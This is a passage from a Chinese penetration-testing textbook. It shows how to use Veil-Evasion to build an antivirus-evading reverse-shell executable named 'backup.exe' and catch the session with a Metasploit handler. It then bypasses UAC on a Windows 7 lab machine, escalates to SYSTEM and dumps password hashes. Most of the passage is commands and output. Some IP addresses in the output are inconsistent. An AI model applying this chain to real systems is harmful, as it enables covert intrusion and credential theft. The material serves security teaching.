6.5 免殺Payload生成工具Veil

Veil是一款利用Metasploit框架生成相相容的Payload工具,並且在大多數網路環境中能繞過常見的防毒軟體。本節將介紹Veil工具的安裝及使用。

在Kali Linux中,預設沒有安裝Veil工具。這裡首先安裝Veil工具,執行如下所示的命令:

root@kali:~# apt-get install veil

執行以上命令後,如果安裝過程沒有提示錯誤的話,則表示Veil工具安裝成功。由於安裝該工具依賴的軟體較多,所以此過程時間有點長。

啟動Veil工具。執行命令如下所示:

root@kali:~# veil-evasion

執行以上命令後,將會輸出大量的資訊。如下所示:

=============================================== Veil First Run Detected… Initializing Script Setup…===============================================[*] Executing 。/setup/setup。sh=============================================== Veil-Evasion Setup Script | [Updated]: 01。15。2015=============================================== [Web]: https://www。veil-framework。com | [Twitter]: @VeilFramework===============================================[*] Initializing Apt Dependencies Installation[*] Adding i386 Architecture To x86_64 System[*] Updating Apt Package Lists命中 http://mirrors。ustc。edu。cn kali Release。gpg命中 http://mirrors。ustc。edu。cn kali/updates Release。gpg命中 http://mirrors。ustc。edu。cn kali Release命中 http://mirrors。ustc。edu。cn kali/updates Release命中 http://mirrors。ustc。edu。cn kali/main Sources命中 http://mirrors。ustc。edu。cn kali/non-free Sources命中 http://mirrors。ustc。edu。cn kali/contrib Sources命中 http://mirrors。ustc。edu。cn kali/main amd64 Packages命中 http://mirrors。ustc。edu。cn kali/non-free amd64 Packages命中 http://mirrors。ustc。edu。cn kali/contrib amd64 Packages獲取:1 http://mirrors。ustc。edu。cn kali/main i386 Packages [8,474 kB]命中 http://http。kali。org kali Release。gpg命中 http://security。kali。org kali/updates Release。gpg命中 http://http。kali。org kali Release……忽略 http://http。kali。org kali/non-free Translation-en下載 17。8 MB,耗時 20秒 (859 kB/s)正在讀取軟體包列表… 完成 [*] Installing Wine i386 Binaries正在讀取軟體包列表… 完成正在分析軟體包的依賴關係樹正在讀取狀態資訊… 完成將會安裝下列額外的軟體包: gcc-4。7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386 libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386 libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386 libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386[*] Cleaning Up Setup Files[*] Updating Veil-Framework Configuration Veil-Framework configuration: [*] OPERATING_SYSTEM = Kali [*] TERMINAL_CLEAR = clear [*] TEMP_DIR = /tmp/ [*] MSFVENOM_OPTIONS = [*] METASPLOIT_PATH = /usr/share/metasploit-framework/ [*] PYINSTALLER_PATH = /usr/share/pyinstaller/[*] VEIL_EVASION_PATH = /usr/share/veil-evasion/ [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/ [*] Path ‘/root/veil-output/source/’ Created [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/ [*] Path ‘/root/veil-output/compiled/’ Created [*] Path ‘/root/veil-output/handlers/’ Created [*] GENERATE_HANDLER_SCRIPT = True [*] HANDLER_PATH = /root/veil-output/handlers/ [*] HASH_LIST = /root/veil-output/hashes。txt[*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/ [*] Path ‘/root/veil-output/catapult/’ Created [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/[*] Path ‘/etc/veil/’ Created Configuration File Written To ‘/etc/veil/settings。py’

以上資訊只有在第一次執行Veil時才顯示。在此過程中,初始化一些指令碼、軟體包列表、更新配置及安裝需要的軟體包。在此過程中以圖形介面的形式依次安裝了Python及它的兩個模組pywin32-218和pycrypto-2。6。下面依次進行安裝。首先彈出的對話方塊,如圖6。32所示。

6.5 免殺Payload生成工具Veil

圖6。32 Python初始介面

該介面是安裝Python的初始介面。這裡使用預設設定,單擊Next按鈕,將顯示如圖6。33所示的介面。

6.5 免殺Payload生成工具Veil

圖6。33 選擇Python安裝位置

在該介面單擊Next按鈕,將顯示如圖6。34所示的介面。該介面提示C:\Python27已存在,確認是否要覆蓋已存在的檔案。這裡單擊Yes按鈕,將顯示如圖6。35所示的介面。

6.5 免殺Payload生成工具Veil

圖6。34 確認Python的安裝位置

6.5 免殺Payload生成工具Veil

圖6。35 自定義Python

在該介面自定義安裝Python的一些功能。這裡使用預設的設定,單擊Next按鈕,將顯示如圖6。36所示的介面。

6.5 免殺Payload生成工具Veil

圖6。36 安裝完成

該介面提示Python已經安裝完成。此時單擊Finish按鈕,將顯示如圖6。37所示的介面。

6.5 免殺Payload生成工具Veil

圖6。37 安裝pywin32-218模組介面

該介面是要求安裝pywin32-218模組。這裡單擊“下一步”按鈕,將顯示如圖6。38所示的介面。

6.5 免殺Payload生成工具Veil

圖6。38 設定嚮導

這裡使用預設設定,單擊“下一步”按鈕,將顯示如圖6。39所示的介面。

6.5 免殺Payload生成工具Veil

圖6。39 準備安裝

該介面用來確實是否要開始安裝。如果確認配置正確的話,單擊“下一步”按鈕,將顯示如圖6。40所示的介面。

6.5 免殺Payload生成工具Veil

圖6。40 安裝完成

從該介面可以看到pywin32-218模組已經安裝完成。此時單擊“結束”按鈕,將顯示如圖6。41所示的介面。

6.5 免殺Payload生成工具Veil

圖6。41 安裝pycrypto-2。6模組初始介面

該介面提示需要安裝pycrypto-2。6模組。這裡單擊“下一步”按鈕開始安裝,如圖6。42所示。

6.5 免殺Payload生成工具Veil

圖6。42 設定嚮導

這裡使用預設設定,單擊“下一步”按鈕,將顯示如圖6。43所示的介面。

6.5 免殺Payload生成工具Veil

圖6。43 準備安裝

該介面提示將要安裝pycrypto模組。這裡單擊“下一步”按鈕,將顯示如圖6。44所示的介面。

6.5 免殺Payload生成工具Veil

圖6。44 安裝完成

從該介面可以看到以上軟體包已安裝完成。此時單擊“結束”按鈕,將顯示如下所示的資訊:

=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================Main Menu 24 payloads loadedAvailable commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs。 VirusTotal exit exit Veil[>] Please enter a command:

從以上資訊中可以看到在Veil下,有24個攻擊載荷可載入,並列出了可用的命令。現在就可以進行各種操作了。例如檢視可載入的攻擊模組,執行命令如下所示:

[>] Please enter a command: list=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================[*] Available payloads: 1) c/meterpreter/rev_tcp 2) c/meterpreter/rev_tcp_service 3) c/shellcode_inject/virtual 4) c/shellcode_inject/void 5) cs/meterpreter/rev_tcp 6) cs/shellcode_inject/base64_substitution 7) cs/shellcode_inject/virtual 8) native/Hyperion 9) native/backdoor_factory 10) native/pe_scrambler 11) powershell/shellcode_inject/download_virtual 12) powershell/shellcode_inject/psexec_virtual 13) powershell/shellcode_inject/virtual 14) python/meterpreter/rev_http 15) python/meterpreter/rev_http_contained 16) python/meterpreter/rev_https 17) python/meterpreter/rev_https_contained 18) python/meterpreter/rev_tcp 19) python/shellcode_inject/aes_encrypt 20) python/shellcode_inject/arc_encrypt 21) python/shellcode_inject/base64_substitution 22) python/shellcode_inject/des_encrypt 23) python/shellcode_inject/flat 24) python/shellcode_inject/letter_substitution

從輸出的資訊中,可以看到有24個可用的攻擊載荷。此時可以利用任何一個攻擊載荷,進行滲透攻擊。

【例項6-5】演示使用Veil工具中的載荷(本例以cs/meterpreter/rev_tcp為例),進行滲透攻擊(這裡以Windows 7作為攻擊靶機)。具體操作步驟如下所示。

(1)啟動Veil工具。執行命令如下所示:

root@kali:~# veil-evasion

執行以上命令後,將顯示如下所示的資訊:

=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================Main Menu 24 payloads loadedAvailable commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs。 VirusTotal exit exit Veil[>] Please enter a command:

在輸出的資訊中看到[>] Please enter a command:提示符,就表示Veil登入成功了。

(2)選擇cs/meterpreter/rev_tcp攻擊載荷。在攻擊載荷列表中,cs/meterpreter/rev_tcp載荷的編號是5。執行命令如下所示:

[>] Please enter a command: use 5=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================Payload: cs/meterpreter/rev_tcp loadedRequired Options:Name Current Value Description —— ——————- —————————————— LHOST IP of the metasploit handler LPORT 4444 Port of the metasploit handler compile_to_exe Y Compile to an executableAvailable commands: set set a specific option value info show information about the payload generate generate payload back go to the main menu exit exit Veil [>] Please enter a command:

輸出資訊顯示了rev_tcp攻擊載荷可配置的選項引數。這裡預設指定的本地埠(LPORT)是4444,LHOST選項還沒有配置。

(3)配置LHOST選項引數,並檢視攻擊載荷的詳細資訊。執行命令如下所示:

[>] Please enter a command: set LHOST 192。168。6。103[>] Please enter a command: info=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================Payload information: Name: cs/meterpreter/rev_tcp Language: cs Rating: Excellent Description: pure windows/meterpreter/reverse_tcp stager, no shellcodeRequired Options:Name Current Value Description —— ——————- —————————————— LHOST 192。168。6。100 IP of the metasploit handler LPORT 4444 Port of the metasploit handler compile_to_exe Y Compile to an executable

從輸出的資訊中,可以看到rev_tcp攻擊載荷的詳細資訊,如攻擊載荷名、語言、級別及配置的選項引數等。

(4)此時,使用generate命令生成載荷檔案。執行命令如下所示:

[>] Please enter a command: generate=============================================== Veil-Evasion | [Version]: 2。4。3=============================================== [Web]: https://www。veil-framework。com/ | [Twitter]: @VeilFramework===============================================[*] Press [enter] for ‘payload’ [>] Please enter the base name for output files: backup #指定輸出檔名

在以上命令中指定一個檔名為backup。然後按下回車鍵,將顯示如下所示的資訊:

[*] Executable written to: /root/veil-output/compiled/backup。exeLanguage: cs Payload: cs/meterpreter/rev_tcp Required Options: LHOST=192。168。6。103 LPORT=4444 compile_to_exe=Y Payload File: /root/veil-output/source/backup。cs Handler File: /root/veil-output/handlers/backup_handler。rc[*] Your payload files have been generated, don‘t get caught! [!] And don’t submit samples to any online scanner! ;)[>] press any key to return to the main menu:

從輸出的資訊中可以看到生成一個可執行檔案backup。exe,並且該檔案儲存在/root/veil-output/compiled/中。此時將可執行檔案backup。exe傳送到目標主機上,就可以利用該攻擊載荷了。

接下來需要使用Metasploit建立一個遠端處理器,等待目標主機連線到Kali Linux(攻擊主機)作業系統。連線成功後,就獲取到一個遠端Shell命令。

【例項6-6】建立遠端處理器。具體操作步驟如下所示。

(1)啟動MSF終端。

(2)使用handler模組。執行命令如下所示:

msf > use exploit/multi/handler

(3)載入reverse_tcp攻擊載荷,並設定其選項引數。執行命令如下所示:

msf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192。168。6。103LHOST => 192。168。6。103

(4)啟動滲透攻擊。執行命令如下所示:

msf exploit(handler) > exploit[*] Started reverse handler on 192。168。6。103:4444[*] Starting the payload handler…

從輸出資訊可以看到攻擊載荷已啟動,正在等待連線目標主機。

此時將前面生成的可執行檔案backup。exe傳送到目標主機(Windows 7),並執行該可執行檔案。然後返回到Kali Linux作業系統,將看到如下所示的資訊:

[*] Sending stage (769536 bytes) to 192。168。6。110[*] Meterpreter session 1 opened (192。168。6。103:4444 -> 192。168。6。110:2478) at 2014-07-17 10:44:47 +0800meterpreter >

從以上資訊中,可以看到成功打開了一個Meterpreter會話。這表示已成功滲透攻擊目標主機,現在就可以進行一些Shell命令。如進行目標主機的Shell環境,執行命令如下 所示:

meterpreter > shellProcess 1544 created。Channel 1 created。Microsoft Windows [版本 6。1。7601] (c) 2009 Microsoft CorporationC:\Users\lyw\Desktop>

輸出的資訊表示進入了目標系統Windows 7的命令列,並且當前目標系統登入的使用者是lyw。

如果以上使用者沒有太高許可權時,可以使用Metasploit中的bypassuac模組繞過UAC(使用者訪問控制),進而提升使用者的許可權。下面將介紹使用bypassuac模組提升以上lyw使用者的許可權。

(1)將Meterpreter會話,呼叫到後臺執行。執行命令如下所示:

meterpreter > background[*] Backgrounding session 1…

從輸出的資訊中,可以看到當前後臺執行的會話編號是1。該會話編號需要記住,在後面將會用到。

(2)檢視會話詳細資訊。執行命令如下所示:

6.5 免殺Payload生成工具Veil

從輸出資訊中可以看到該會話中,連線到目標系統的執行架構、計算機名及IP地址。

(3)使用bypassuac模組,並檢視可配置的選項引數。執行命令如下所示:

6.5 免殺Payload生成工具Veil

從輸出資訊中,可以看到模組選項中有一個可配置的選項引數SESSION。該選項的值,就是當前後臺執行的會話編號。

(4)設定SESSION選項引數。如下所示:

msf exploit(bypassuac) > set session 1session => 1

(5)啟動滲透攻擊。執行命令如下所示:

msf exploit(bypassuac) > exploit[*] Started reverse handler on 192。168。6。103:4444[*] UAC is Enabled, checking level…[+] UAC is set to Default[+] BypassUAC can bypass this setting, continuing…[+] Part of Administrators group! Continuing…[*] Uploaded the agent to the filesystem…。[*] Uploading the bypass UAC executable to the filesystem…[*] Meterpreter stager executable 73802 bytes long being uploaded。。[*] Sending stage (769536 bytes) to 192。168。6。106[*] Meterpreter session 2 opened (192。168。6。103:4444 -> 192。168。6。106:49206) at 2014-07-18 10:15:38 +0800meterpreter >

從輸出的資訊中,可以看到目前登入的使用者實際上是屬於管理組的成員,並且繞過了UAC建立了一個新的會話。此時就可以提升使用者的許可權了。

(6)檢視lyw使用者的資訊。執行命令如下所示:

meterpreter > getuidServer username: WIN-RKPKQFBLG6C\lyw

從輸出資訊中可以看到該使用者只是WIN-RKPKQFBLG6C計算機中的一個普通使用者。

(7)提升lyw使用者的許可權,並檢視其使用者資訊。執行命令如下所示:

meterpreter > getsystem…got system (via technique 1)。meterpreter > getuidServer username: NT AUTHORITY\SYSTEM

從輸出資訊中可以看到當前lyw使用者,擁有了系統級別的許可權。此時,可以進行任何的操作。如捕獲目標系統中,使用者的密碼雜湊值。執行命令如下所示:

meterpreter > run post/windows/gather/hashdump[*] Obtaining the boot key…[*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c…[*] Obtaining the user list and keys…[*] Decrypting user keys…[*] Dumping password hints…Test:“www。123”abc:“123456”alice:“passwd”[*] Dumping password hashes…Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

從輸出的資訊中,可以看到目標系統中有三個使用者,並且可以看到它們的UID及密碼雜湊值。而且,還捕獲到三個鍵盤輸入的密碼。如捕獲的Test使用者,其密碼為www。123。